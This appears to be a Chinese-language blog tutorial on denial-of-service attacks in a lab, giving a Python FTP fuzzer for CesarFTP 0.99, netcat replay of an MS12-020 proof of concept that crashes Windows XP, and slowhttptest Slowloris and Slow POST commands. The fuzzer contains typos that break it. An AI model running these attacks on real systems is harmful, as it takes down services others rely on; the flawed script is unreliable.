应用服务漏洞

  • 服务代码存在漏洞,遇异常提交数据时程序崩溃
  • 应用处理大量并发请求能力有限,被拒绝的是应用或OS

    缓冲区溢出漏洞

  • 向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存

  • 影响: 远程代码执行、DOS
  • 利用模糊测试方法发现缓冲区溢出漏洞

    CesarFTP 0.99 服务漏洞

  • 流量很小

  • 21端口

服务器:winXP
安装CeaserFTP
设置账号:anonymous

攻击者kali
./ftp_fuzz.py 192.168.1.127 21 A 100 2000
填写账户密码,尝试各种命令(PWD、MKD、RMD)和各种发送内容(AA、ABCD)

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import socket
  4. import sys
  5. if len(sys.argv) != 6:
  6. print "用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]"
  7. print "举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000"
  8. ip = str(sys.argv[1])
  9. port = int(sys.argv[2])
  10. char = sys.argv[3]
  11. i = int(sys.argv[4]
  12. step = int(sys.argv[4])
  13. max = int(sys.argv[5])
  14. user = raw_input(str("FTP账号: "))
  15. passwd = raw_input(str("FTP密码: "))
  16. command = raw_input(str("FTP命令: "))
  17. while i <= max:
  18. try:
  19. payload = command + " " + (char * i)
  20. #payload = command + " " + ('\n' * i) #这个是本测试里的特殊字符
  21. print "已发送" + str(i) + "个 (" + char + ")"
  22. s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23. connect=s.connect((ip,port))
  24. s.recv(2014)
  25. s.send('USER' + user + '\r\n')
  26. s.recv(2014)
  27. s.send('PASS' + passwd + '\r\n')
  28. s.recv(2014)
  29. s.send(payload + '\r\n')
  30. s.sned('QUIT\r\n')
  31. s.recv(2014)
  32. s.close()
  33. i = i + step
  34. except:
  35. pirnt "\n服务已崩溃"
  36. sys.exit()
  37. print "\n未发现缓冲区溢出漏洞"

MS12-020 远程桌面协议DOS漏洞

服务器winXP
防火墙开启远程桌面
攻击者kali

  1. searchsploit ms12-020
  2. searchsploit -p 18606.txt
  3. cp /usr/share/exploitdb/exploits/windows/dos/18606.txt . #拷贝
  4. mv 18606.txt MS12-020.txt
  5. leafpad/cat MS12-020.txt #打开看看
  6. #发现要下载http://aluigi.org/poc/termdd_1.dat
  7. nc 192.168.1.127 3389 < termdd_1.dat #使用
  8. #发了五六次之后,就蓝屏重启了
  9. #再发一次之后,就直接重启了!

Slowhttptest(源自谷歌)

  • 低带宽应用层慢速DOS攻击(相对于CC等快速攻击而言的慢速)
  • 最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
  • 尤其擅长攻击apache、tomcat (几乎百发百中)

    攻击方法

    Slowloris、Slow HTTP POST 攻击

  • 耗尽应用的并发连接池,类似于Http层的Syn flood

  • HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整 服务器时钟为其保留连接资源池占用,此类大量并发将导致DOS
  • Slowloris: 完整的http请求结尾是\r\n\r\n, 攻击发\r\n……
  • Slow POST: HTTP头content-length声明长度,但body部分缓慢发送

Slow Read attack攻击

  • 与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
  • 不同之处在于请求正常发送,但慢速读取响应数据
  • 攻击者调整TCP window窗口大小,使得服务器慢速返回数据

Apache Range Header attack

  • 客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
  • 耗尽服务器CPU、内存资源

服务器:metasploitable
攻击者kali

  1. apt-getinstall slowhttptest
  2. man slowhttptest
  3. ulimit -n 70000 #增加可承载数量
  4. HTTP POST攻击模式
  5. slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB
  6. -u http://1.1.1.1 -x 10 -p 3
  7. slowloris 攻击模式
  8. slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://
  9. 1.1.1.1 -x 24 -p 3
  10. 支持代理
  11. 大部分应用服务器和安全设备都无法防护慢速攻击

原文:https://fishpond.blog.csdn.net/article/details/105558596